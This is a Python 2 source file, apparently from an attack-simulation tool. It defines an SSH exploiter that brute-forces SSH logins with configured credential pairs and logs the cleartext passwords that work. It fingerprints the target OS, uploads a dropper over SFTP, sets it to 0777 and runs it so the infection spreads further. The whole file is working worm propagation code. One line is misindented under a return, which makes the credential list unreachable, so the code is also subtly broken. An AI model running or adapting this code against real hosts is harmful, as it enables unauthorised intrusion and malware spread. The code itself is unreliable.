import paramiko
import logging
import time
from itertools import product
import monkeyfs
from tools import build_monkey_commandline, report_failed_login
from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp

__author__ = 'hoffer'

LOG = logging.getLogger(__name__)
SSH_PORT = 22
TRANSFER_UPDATE_RATE = 15


class SSHExploiter(HostExploiter):
    _target_os_type = ['linux', None]

    def __init__(self):
        self._config = __import__('config').WormConfiguration
        self._update_timestamp = 0
        self.skip_exist = self._config.skip_exploit_if_file_exist

    def log_transfer(self, transferred, total):
        if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
            LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
            self._update_timestamp = time.time()

    def exploit_host(self, host, depth=-1, src_path=None):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", host)
            return False

            user_password_pairs = self._config.get_exploit_user_password_pairs()

        exploited = False
        for user, curpass in user_password_pairs:
            try:
                ssh.connect(host.ip_addr,
                            username=user,
                            password=curpass,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          host, user, curpass)
                host.learn_credentials(user, curpass)
                exploited = True
                break

            except Exception, exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", host,
                          user, curpass, exc)
                report_failed_login(self, host, user, curpass)
                continue

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception, exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
                return False

        if not host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    host.os['machine'] = uname_machine
            except Exception, exc:
                LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info("Host %s was already infected under the current configuration, done" % host)
                return True  # return already infected

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0777)

            ftp.close()
        except Exception, exc:
            LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(host, depth-1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, host, cmdline)
            
            ssh.close()
            return True

        except Exception, exc:
            LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
            return False